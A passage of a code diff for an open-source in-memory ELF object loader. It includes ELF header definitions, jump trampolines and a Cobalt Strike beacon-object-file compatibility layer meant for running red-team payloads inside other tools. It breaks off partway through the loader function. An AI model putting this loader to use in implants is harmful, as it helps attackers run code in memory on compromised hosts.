* Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
The above licensing was taken from the BSD licensing and is applied to ELFLoader as well.
|
||||
|
||||
Note that the ELFLoader is provided as is, and is a royalty free open-source application.
|
||||
|
||||
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
|
||||
is due (which means giving the authors the credit they deserve for writing it).
|
||||
@@ -0,0 +1,65 @@
|
||||
#ifndef ELFLOADER_H_
|
||||
#define ELFLOADER_H_
|
||||
|
||||
/*Defines to map Elf_Phdr to Elf32_Phdr and whatnot*/
|
||||
#if UINTPTR_MAX == 0xffffffff
|
||||
#define Elf_Ehdr Elf32_Ehdr
|
||||
#define Elf_Phdr Elf32_Phdr
|
||||
#define Elf_Sym Elf32_Sym
|
||||
#define Elf_Rel Elf32_Rel
|
||||
#define Elf_Shdr Elf32_Shdr
|
||||
#define ELF_R_TYPE(i) ((i) & 0xff)
|
||||
#define ELF_R_SYM(x) ((x) >> 8)
|
||||
#define SHT_REL_TYPE SHT_REL
|
||||
#define X86
|
||||
#else
|
||||
#define Elf_Ehdr Elf64_Ehdr
|
||||
#define Elf_Phdr Elf64_Phdr
|
||||
#define Elf_Sym Elf64_Sym
|
||||
#define Elf_Rel Elf64_Rela
|
||||
#define Elf_Shdr Elf64_Shdr
|
||||
#define ELF_R_TYPE(i) ((i) & 0xffffffff)
|
||||
#define ELF_R_SYM(x) ((x) >> 32)
|
||||
#define SHT_REL_TYPE SHT_RELA
|
||||
#endif
|
||||
|
||||
typedef struct ELFInfo {
|
||||
Elf_Ehdr *Header;
|
||||
Elf_Phdr *progHeader;
|
||||
int progHeaderSize;
|
||||
Elf_Shdr *sectHeader;
|
||||
int sectHeaderSize;
|
||||
unsigned char* execPtr;
|
||||
Elf_Sym *symbolTable;
|
||||
char* stringTable;
|
||||
char* sectionStringTable;
|
||||
unsigned char** sectionMappings;
|
||||
int* sectionMappingProts;
|
||||
unsigned char* tempOffsetTable;
|
||||
int tempOffsetCounter;
|
||||
} ELFInfo_t;
|
||||
/* x86_64 */
|
||||
|
||||
#ifdef WIN32
|
||||
#define PROT_READ PAGE_EXECUTE_READWRITE
|
||||
#define PROT_WRITE PAGE_EXECUTE_READWRITE
|
||||
#define PROT_EXEC PAGE_EXECUTE_READWRITE
|
||||
#endif
|
||||
|
||||
#if defined(__amd64__) || defined(__x86_64__)
|
||||
unsigned char* ThunkTrampoline = (unsigned char*)"\x48\xb8\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xff\xe0";
|
||||
int ThunkTrampolineSize = 12;
|
||||
#define THUNKOFFSET 2
|
||||
#define COMPILEDMACHINEARCH EM_X86_64
|
||||
#endif
|
||||
|
||||
/* x86 */
|
||||
#if defined(__i386__)
|
||||
unsigned char* ThunkTrampoline = (unsigned char*)"\x68\x00\x00\x00\x00\x58\xff\xe0";
|
||||
int ThunkTrampolineSize = 8;
|
||||
#define THUNKOFFSET 1
|
||||
#define COMPILEDMACHINEARCH EM_386
|
||||
#endif
|
||||
|
||||
int ELFRunner(char* functionName, unsigned char* elfObjectData, unsigned int size, unsigned char* argumentdata, int argumentSize);
|
||||
#endif
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef ELFLOADER_INCLUDE_H_
|
||||
#define ELFLOADER_INCLUDE_H_
|
||||
|
||||
int ELFRunner(char* functionName, unsigned char* elfObjectData, unsigned int size, unsigned char* argumentdata, int argumentSize);
|
||||
char* BeaconGetOutputData(int *outsize);
|
||||
unsigned char* unhexlify(unsigned char* value, int *outlen);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,59 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#ifndef BEACON_API_H_
|
||||
#define BEACON_API_H_
|
||||
|
||||
/* Structures as is in beacon.h */
|
||||
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
int BeaconDataInt(datap * parser);
|
||||
short BeaconDataShort(datap * parser);
|
||||
int BeaconDataLength(datap * parser);
|
||||
char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
void BeaconFormatReset(formatp * format);
|
||||
void BeaconFormatFree(formatp * format);
|
||||
void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
char * BeaconFormatToString(formatp * format, int * size);
|
||||
void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
|
||||
void BeaconPrintf(int type, char * fmt, ...);
|
||||
void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
int BeaconIsAdmin();
|
||||
|
||||
uint32_t swap_endianess(uint32_t indata);
|
||||
|
||||
char* BeaconGetOutputData(int *outsize);
|
||||
char** getEnviron(void);
|
||||
char* getOSName(void);
|
||||
#endif
|
||||
@@ -0,0 +1,67 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#ifndef BEACON_COMPATIBILITY_H_
|
||||
#define BEACON_COMPATIBILITY_H_
|
||||
typedef struct beacon_function{
|
||||
char* functionName;
|
||||
void* function;
|
||||
} beacon_function_t;
|
||||
|
||||
extern beacon_function_t BeaconInternalMapping[18];
|
||||
#define BEACONINTERNALMAPPINGCOUNT 17
|
||||
|
||||
void* internalFunctionLookup(char* symbolName);
|
||||
/* Structures as is in beacon.h */
|
||||
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
int BeaconDataInt(datap * parser);
|
||||
short BeaconDataShort(datap * parser);
|
||||
int BeaconDataLength(datap * parser);
|
||||
char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
void BeaconFormatReset(formatp * format);
|
||||
void BeaconFormatFree(formatp * format);
|
||||
void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
char * BeaconFormatToString(formatp * format, int * size);
|
||||
void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
|
||||
void BeaconPrintf(int type, char * fmt, ...);
|
||||
void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
int BeaconIsAdmin();
|
||||
|
||||
uint32_t swap_endianess(uint32_t indata);
|
||||
|
||||
char* BeaconGetOutputData(int *outsize);
|
||||
char** getEnviron(void);
|
||||
char* getOSName(void);
|
||||
#endif
|
||||
@@ -0,0 +1,205 @@
|
||||
#ifndef MINIMAL_ELF_H_
|
||||
#define MINIMAL_ELF_H_
|
||||
|
||||
/* Minimal elf definitions stripped from FreeBSD's headers
|
||||
* and included so that there's no external dependencies
|
||||
* for the mac version of the Loader.
|
||||
* */
|
||||
|
||||
/*-
|
||||
* SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
*
|
||||
* Copyright (c) 1996-1998 John D. Polstra.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
|
||||
#define EI_NIDENT 16
|
||||
#define EM_386 3
|
||||
#define EM_X86_64 62
|
||||
#define SHT_PROGBITS 1
|
||||
#define SHT_SYMTAB 2
|
||||
#define SHT_STRTAB 3
|
||||
#define SHT_RELA 4
|
||||
#define SHT_REL 9
|
||||
#define R_386_32 1
|
||||
#define R_386_PC32 2
|
||||
|
||||
typedef uint32_t Elf32_Addr;
|
||||
typedef uint16_t Elf32_Half;
|
||||
typedef uint32_t Elf32_Off;
|
||||
typedef int32_t Elf32_Sword;
|
||||
typedef uint32_t Elf32_Word;
|
||||
typedef uint64_t Elf32_Lword;
|
||||
|
||||
typedef Elf32_Word Elf32_Hashelt;
|
||||
|
||||
typedef Elf32_Word Elf32_Size;
|
||||
typedef Elf32_Sword Elf32_Ssize;
|
||||
|
||||
typedef uint64_t Elf64_Addr;
|
||||
typedef uint16_t Elf64_Half;
|
||||
typedef uint64_t Elf64_Off;
|
||||
typedef int32_t Elf64_Sword;
|
||||
typedef int64_t Elf64_Sxword;
|
||||
typedef uint32_t Elf64_Word;
|
||||
typedef uint64_t Elf64_Lword;
|
||||
typedef uint64_t Elf64_Xword;
|
||||
typedef Elf64_Word Elf64_Hashelt;
|
||||
|
||||
/* Non-standard class-dependent datatype used for abstraction. */
|
||||
typedef Elf64_Xword Elf64_Size;
|
||||
typedef Elf64_Sxword Elf64_Ssize;
|
||||
|
||||
typedef struct {
|
||||
unsigned char e_ident[EI_NIDENT]; /* File identification. */
|
||||
Elf64_Half e_type; /* File type. */
|
||||
Elf64_Half e_machine; /* Machine architecture. */
|
||||
Elf64_Word e_version; /* ELF format version. */
|
||||
Elf64_Addr e_entry; /* Entry point. */
|
||||
Elf64_Off e_phoff; /* Program header file offset. */
|
||||
Elf64_Off e_shoff; /* Section header file offset. */
|
||||
Elf64_Word e_flags; /* Architecture-specific flags. */
|
||||
Elf64_Half e_ehsize; /* Size of ELF header in bytes. */
|
||||
Elf64_Half e_phentsize; /* Size of program header entry. */
|
||||
Elf64_Half e_phnum; /* Number of program header entries. */
|
||||
Elf64_Half e_shentsize; /* Size of section header entry. */
|
||||
Elf64_Half e_shnum; /* Number of section header entries. */
|
||||
Elf64_Half e_shstrndx; /* Section name strings section. */
|
||||
} Elf64_Ehdr;
|
||||
|
||||
typedef struct {
|
||||
unsigned char e_ident[EI_NIDENT]; /* File identification. */
|
||||
Elf32_Half e_type; /* File type. */
|
||||
Elf32_Half e_machine; /* Machine architecture. */
|
||||
Elf32_Word e_version; /* ELF format version. */
|
||||
Elf32_Addr e_entry; /* Entry point. */
|
||||
Elf32_Off e_phoff; /* Program header file offset. */
|
||||
Elf32_Off e_shoff; /* Section header file offset. */
|
||||
Elf32_Word e_flags; /* Architecture-specific flags. */
|
||||
Elf32_Half e_ehsize; /* Size of ELF header in bytes. */
|
||||
Elf32_Half e_phentsize; /* Size of program header entry. */
|
||||
Elf32_Half e_phnum; /* Number of program header entries. */
|
||||
Elf32_Half e_shentsize; /* Size of section header entry. */
|
||||
Elf32_Half e_shnum; /* Number of section header entries. */
|
||||
Elf32_Half e_shstrndx; /* Section name strings section. */
|
||||
} Elf32_Ehdr;
|
||||
|
||||
typedef struct {
|
||||
Elf32_Word sh_name; /* Section name (index into the
|
||||
section header string table). */
|
||||
Elf32_Word sh_type; /* Section type. */
|
||||
Elf32_Word sh_flags; /* Section flags. */
|
||||
Elf32_Addr sh_addr; /* Address in memory image. */
|
||||
Elf32_Off sh_offset; /* Offset in file. */
|
||||
Elf32_Word sh_size; /* Size in bytes. */
|
||||
Elf32_Word sh_link; /* Index of a related section. */
|
||||
Elf32_Word sh_info; /* Depends on section type. */
|
||||
Elf32_Word sh_addralign; /* Alignment in bytes. */
|
||||
Elf32_Word sh_entsize; /* Size of each entry in section. */
|
||||
} Elf32_Shdr;
|
||||
|
||||
typedef struct {
|
||||
Elf64_Word sh_name; /* Section name (index into the
|
||||
section header string table). */
|
||||
Elf64_Word sh_type; /* Section type. */
|
||||
Elf64_Xword sh_flags; /* Section flags. */
|
||||
Elf64_Addr sh_addr; /* Address in memory image. */
|
||||
Elf64_Off sh_offset; /* Offset in file. */
|
||||
Elf64_Xword sh_size; /* Size in bytes. */
|
||||
Elf64_Word sh_link; /* Index of a related section. */
|
||||
Elf64_Word sh_info; /* Depends on section type. */
|
||||
Elf64_Xword sh_addralign; /* Alignment in bytes. */
|
||||
Elf64_Xword sh_entsize; /* Size of each entry in section. */
|
||||
} Elf64_Shdr;
|
||||
|
||||
typedef struct {
|
||||
Elf64_Word p_type; /* Entry type. */
|
||||
Elf64_Word p_flags; /* Access permission flags. */
|
||||
Elf64_Off p_offset; /* File offset of contents. */
|
||||
Elf64_Addr p_vaddr; /* Virtual address in memory image. */
|
||||
Elf64_Addr p_paddr; /* Physical address (not used). */
|
||||
Elf64_Xword p_filesz; /* Size of contents in file. */
|
||||
Elf64_Xword p_memsz; /* Size of contents in memory. */
|
||||
Elf64_Xword p_align; /* Alignment in memory and file. */
|
||||
} Elf64_Phdr;
|
||||
|
||||
typedef struct {
|
||||
Elf32_Word p_type; /* Entry type. */
|
||||
Elf32_Off p_offset; /* File offset of contents. */
|
||||
Elf32_Addr p_vaddr; /* Virtual address in memory image. */
|
||||
Elf32_Addr p_paddr; /* Physical address (not used). */
|
||||
Elf32_Word p_filesz; /* Size of contents in file. */
|
||||
Elf32_Word p_memsz; /* Size of contents in memory. */
|
||||
Elf32_Word p_flags; /* Access permission flags. */
|
||||
Elf32_Word p_align; /* Alignment in memory and file. */
|
||||
} Elf32_Phdr;
|
||||
|
||||
/* Relocations that don't need an addend field. */
|
||||
typedef struct {
|
||||
Elf32_Addr r_offset; /* Location to be relocated. */
|
||||
Elf32_Word r_info; /* Relocation type and symbol index. */
|
||||
} Elf32_Rel;
|
||||
|
||||
/* Relocations that need an addend field. */
|
||||
typedef struct {
|
||||
Elf32_Addr r_offset; /* Location to be relocated. */
|
||||
Elf32_Word r_info; /* Relocation type and symbol index. */
|
||||
Elf32_Sword r_addend; /* Addend. */
|
||||
} Elf32_Rela;
|
||||
|
||||
typedef struct {
|
||||
Elf32_Word st_name; /* String table index of name. */
|
||||
Elf32_Addr st_value; /* Symbol value. */
|
||||
Elf32_Word st_size; /* Size of associated object. */
|
||||
unsigned char st_info; /* Type and binding information. */
|
||||
unsigned char st_other; /* Reserved (not used). */
|
||||
Elf32_Half st_shndx; /* Section index of symbol. */
|
||||
} Elf32_Sym;
|
||||
|
||||
typedef struct {
|
||||
Elf64_Word st_name; /* String table index of name. */
|
||||
unsigned char st_info; /* Type and binding information. */
|
||||
unsigned char st_other; /* Reserved (not used). */
|
||||
Elf64_Half st_shndx; /* Section index of symbol. */
|
||||
Elf64_Addr st_value; /* Symbol value. */
|
||||
Elf64_Xword st_size; /* Size of associated object. */
|
||||
} Elf64_Sym;
|
||||
|
||||
/* Relocations that don't need an addend field. */
|
||||
typedef struct {
|
||||
Elf64_Addr r_offset; /* Location to be relocated. */
|
||||
Elf64_Xword r_info; /* Relocation type and symbol index. */
|
||||
} Elf64_Rel;
|
||||
|
||||
/* Relocations that need an addend field. */
|
||||
typedef struct {
|
||||
Elf64_Addr r_offset; /* Location to be relocated. */
|
||||
Elf64_Xword r_info; /* Relocation type and symbol index. */
|
||||
Elf64_Sxword r_addend; /* Addend. */
|
||||
} Elf64_Rela;
|
||||
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,394 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#ifndef WIN32
|
||||
#include <sys/mman.h>
|
||||
#include <dlfcn.h>
|
||||
#else
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
#include "debug.h"
|
||||
#include "minimal_elf.h"
|
||||
#include "ELFLoader.h"
|
||||
#include "beacon_compatibility.h"
|
||||
|
||||
#ifdef LIBRARY
|
||||
__attribute__ ((visibility ("default")))
|
||||
#endif
|
||||
unsigned char* unhexlify(unsigned char* value, int arglength, int *outlen){
|
||||
unsigned char* retval = NULL;
|
||||
char byteval[3] = {0};
|
||||
int counter = 0;
|
||||
int counter2 = 0;
|
||||
char character = 0;
|
||||
if (value == NULL){
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("Unhexlify Strlen: %lu\n", (long unsigned int)strlen((char*)value));
|
||||
if (value == NULL || strlen((char*)value)%2 != 0){
|
||||
DEBUG_PRINT("Either value is NULL, or the hexlified string isn't valid\n");
|
||||
goto errcase;
|
||||
}
|
||||
|
||||
retval = calloc(strlen((char*)value)+1, 1);
|
||||
if (retval == NULL){
|
||||
goto errcase;
|
||||
}
|
||||
|
||||
counter2 = 0;
|
||||
for (counter = 0; counter < strlen((char*)value); counter += 2){
|
||||
memcpy(byteval, value+counter, 2);
|
||||
character = strtol(byteval, NULL, 16);
|
||||
memcpy(retval+counter2, &character, 1);
|
||||
counter2++;
|
||||
}
|
||||
*outlen = counter2;
|
||||
|
||||
errcase:
|
||||
return retval;
|
||||
}
|
||||
|
||||
#ifdef LIBRARY
|
||||
__attribute__ ((visibility ("default")))
|
||||
#endif
|
||||
int ELFRunner(char* functionName, unsigned char* elfObjectData, unsigned int size, unsigned char* argumentdata, int argumentSize){
|
||||
#if defined(__amd64__) || defined(__x86_64__) || defined(__i386__) || (defined(DEBUG) && defined(ELFRUNNERTEST))
|
||||
ELFInfo_t elfinfo;
|
||||
int counter = 0;
|
||||
int c2 = 0;
|
||||
int (*ptr)(unsigned char*, int) = (int (*)(unsigned char *, int))NULL;
|
||||
int retcode = 0;
|
||||
int tempOffsetCounter = 0;
|
||||
|
||||
memset(&elfinfo, 0, sizeof(ELFInfo_t));
|
||||
|
||||
elfinfo.Header = (Elf_Ehdr*) elfObjectData;
|
||||
/* Verify that the data is an ELF file. */
|
||||
if (elfObjectData[0] != '\x7f' || elfObjectData[1] != 'E' || elfObjectData[2] != 'L' || elfObjectData[3] != 'F'){
|
||||
DEBUG_PRINT("Not an elf file\n");
|
||||
retcode = 1;
|
||||
goto errorcase;
|
||||
}
|
||||
/* Verify that the ELF file is a relocatable file, and not a shared object or binary */
|
||||
if (elfinfo.Header->e_type != 1){
|
||||
DEBUG_PRINT("ELF Type isn't relocatable type, bailing...\n");
|
||||
retcode = 2;
|
||||
goto errorcase;
|
||||
}
|
||||
if (elfinfo.Header->e_machine != COMPILEDMACHINEARCH){
|
||||
DEBUG_PRINT("ERROR, not the machine type your running on\n");
|
||||
retcode = -1;
|
||||
goto errorcase;
|
||||
}
|
||||
DEBUG_PRINT("ELF Object Data: %p\n", elfObjectData);
|
||||
DEBUG_PRINT("ELF Type: %d\n", elfinfo.Header->e_type);
|
||||
DEBUG_PRINT("ELF Machine: %d\n", elfinfo.Header->e_machine);
|
||||
DEBUG_PRINT("ELF Version: %d\n", elfinfo.Header->e_version);
|
||||
DEBUG_PRINT("ELF Entry: 0x%lx\n", elfinfo.Header->e_entry);
|
||||
DEBUG_PRINT("ELF ProgramHeaderOffset: 0x%lx\n", elfinfo.Header->e_phoff);
|
||||
DEBUG_PRINT("ELF SectionHeaderOffset: 0x%lx\n", elfinfo.Header->e_shoff);
|
||||
DEBUG_PRINT("ELF Flags: 0x%x\n", elfinfo.Header->e_flags);
|
||||
DEBUG_PRINT("ELF Header Size: %d\n", elfinfo.Header->e_ehsize);
|
||||
DEBUG_PRINT("ELF Program Header Entry Size: %d\n", elfinfo.Header->e_phentsize);
|
||||
DEBUG_PRINT("ELF Program Header Entry Count: %d\n", elfinfo.Header->e_phnum);
|
||||
DEBUG_PRINT("ELF Section Header Entry Size: %d\n", elfinfo.Header->e_shentsize);
|
||||
DEBUG_PRINT("ELF Section Header Entry Count: %d\n", elfinfo.Header->e_shnum);
|
||||
DEBUG_PRINT("ELF Section Header Table Index Entry: %d\n", elfinfo.Header->e_shstrndx);
|
||||
|
||||
/* Set all the headers and sizes */
|
||||
elfinfo.progHeader = (Elf_Phdr*)(elfObjectData + elfinfo.Header->e_phoff);
|
||||
elfinfo.sectHeader = (Elf_Shdr*)(elfObjectData + elfinfo.Header->e_shoff);
|
||||
elfinfo.progHeaderSize = elfinfo.Header->e_phnum;
|
||||
elfinfo.sectHeaderSize = elfinfo.Header->e_shnum;
|
||||
|
||||
/* This is usually whats important for standard in memory loaders, but since this is loading
|
||||
* object files, this isn't actually used. Leaving in the loader so I can extend later on.*/
|
||||
DEBUG_PRINT("Working with program headers, Count: %d\n", elfinfo.progHeaderSize);
|
||||
for (counter = 0; counter < elfinfo.progHeaderSize; counter++){
|
||||
DEBUG_PRINT("Program Header Entry Counter: %d\n", counter);
|
||||
DEBUG_PRINT("\tOffset: 0x%lx\n", elfinfo.progHeader[counter].p_offset);
|
||||
}
|
||||
/* End the program header loop */
|
||||
|
||||
elfinfo.sectionMappings = calloc(elfinfo.sectHeaderSize*sizeof(char*), 1);
|
||||
elfinfo.sectionMappingProts = calloc(elfinfo.sectHeaderSize*sizeof(int), 1);
|
||||
/* Make sure that the section mappings and protections array is allocated, if not then error out. */
|
||||
if (elfinfo.sectionMappings == NULL || elfinfo.sectionMappingProts == NULL){
|
||||
DEBUG_PRINT("Failed to setup sectionMappings\n");
|
||||
retcode = 3;
|
||||
goto errorcase;
|
||||
}
|
||||
#ifdef WIN32
|
||||
elfinfo.tempOffsetTable = VirtualAlloc(NULL, 255*ThunkTrampolineSize, MEM_COMMIT|MEM_RESERVE|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
#else
|
||||
elfinfo.tempOffsetTable = mmap(NULL, 255*ThunkTrampolineSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
tempOffsetCounter += 0x5000;
|
||||
#endif
|
||||
elfinfo.tempOffsetCounter = 0;
|
||||
if (elfinfo.tempOffsetTable == NULL || elfinfo.tempOffsetTable == (void*)-1){
|
||||
DEBUG_PRINT("Failed to allocate the hacky GOT/Thunk function table.\n");
|
||||
retcode = 4;
|
||||
goto errorcase;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("Working over section headers, Count: %d\n", elfinfo.sectHeaderSize);
|
||||
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
|
||||
int sectionProts = PROT_READ | PROT_WRITE;
|
||||
DEBUG_PRINT("Section Header Entry Counter: %d\n", counter);
|
||||
DEBUG_PRINT("\tName is %d\n", elfinfo.sectHeader[counter].sh_name);
|
||||
DEBUG_PRINT("\tType is 0x%x\n", elfinfo.sectHeader[counter].sh_type);
|
||||
DEBUG_PRINT("\tFlags are 0x%lx\n", elfinfo.sectHeader[counter].sh_flags);
|
||||
/* Identify the memory permissions here */
|
||||
if (elfinfo.sectHeader[counter].sh_flags & 0x1){
|
||||
DEBUG_PRINT("\t\tWriteable Section\n");
|
||||
sectionProts = PROT_READ | PROT_WRITE;
|
||||
}
|
||||
if (elfinfo.sectHeader[counter].sh_flags & 0x4){
|
||||
DEBUG_PRINT("\t\tExecutable Section\n");
|
||||
sectionProts = PROT_READ | PROT_EXEC;
|
||||
}
|
||||
if (elfinfo.sectHeader[counter].sh_size > 0 && elfinfo.sectHeader[counter].sh_type == SHT_PROGBITS){
|
||||
#ifdef WIN32
|
||||
elfinfo.sectionMappings[counter] = VirtualAlloc(NULL, elfinfo.sectHeader[counter].sh_size, MEM_COMMIT|MEM_RESERVE|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
#else
|
||||
elfinfo.sectionMappings[counter] = mmap(elfinfo.tempOffsetTable+tempOffsetCounter, elfinfo.sectHeader[counter].sh_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
tempOffsetCounter += 0x5000;
|
||||
#endif
|
||||
if (elfinfo.sectionMappings[counter] == NULL || elfinfo.sectionMappings[counter] == (void*)-1){
|
||||
DEBUG_PRINT("\t\t\tFailed to allocate memory for section\n");
|
||||
retcode = 5;
|
||||
goto errorcase;
|
||||
}
|
||||
memcpy(elfinfo.sectionMappings[counter], elfObjectData+elfinfo.sectHeader[counter].sh_offset, elfinfo.sectHeader[counter].sh_size);
|
||||
}
|
||||
else{
|
||||
/* Not allocating memory because the section isn't needed for the program to run, just used to link. */
|
||||
DEBUG_PRINT("\t\t\tNot allocating memory for section\n");
|
||||
elfinfo.sectionMappings[counter] = NULL;
|
||||
}
|
||||
elfinfo.sectionMappingProts[counter] = sectionProts;
|
||||
|
||||
DEBUG_PRINT("\tAddr is 0x%lx\n", elfinfo.sectHeader[counter].sh_addr);
|
||||
DEBUG_PRINT("\tOffset is 0x%lx\n", elfinfo.sectHeader[counter].sh_offset);
|
||||
DEBUG_PRINT("\tSize is %ld\n", elfinfo.sectHeader[counter].sh_size);
|
||||
DEBUG_PRINT("\tLink is %d\n", elfinfo.sectHeader[counter].sh_link);
|
||||
DEBUG_PRINT("\tInfo is %d\n", elfinfo.sectHeader[counter].sh_info);
|
||||
DEBUG_PRINT("\tAddrAlign is %ld\n", elfinfo.sectHeader[counter].sh_addralign);
|
||||
DEBUG_PRINT("\tEntSize is %ld\n", elfinfo.sectHeader[counter].sh_entsize);
|
||||
/* Locate the sections that we want to keep track to */
|
||||
switch (elfinfo.sectHeader[counter].sh_type){
|
||||
case SHT_SYMTAB:
|
||||
DEBUG_PRINT("\t\tSymbol Table\n");
|
||||
elfinfo.symbolTable = (Elf_Sym*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
|
||||
elfinfo.stringTable = (char*)(elfObjectData + elfinfo.sectHeader[elfinfo.sectHeader[counter].sh_link].sh_offset);
|
||||
DEBUG_PRINT("\t\tSymbolTable: %p\n", elfinfo.symbolTable);
|
||||
DEBUG_PRINT("\t\tStringTable: %p\n", elfinfo.stringTable);
|
||||
break;
|
||||
case SHT_STRTAB:
|
||||
DEBUG_PRINT("\t\tString Table\n");
|
||||
elfinfo.sectionStringTable = (char*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
|
||||
break;
|
||||
default:
|
||||
DEBUG_PRINT("\t\tCase Not Handled\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
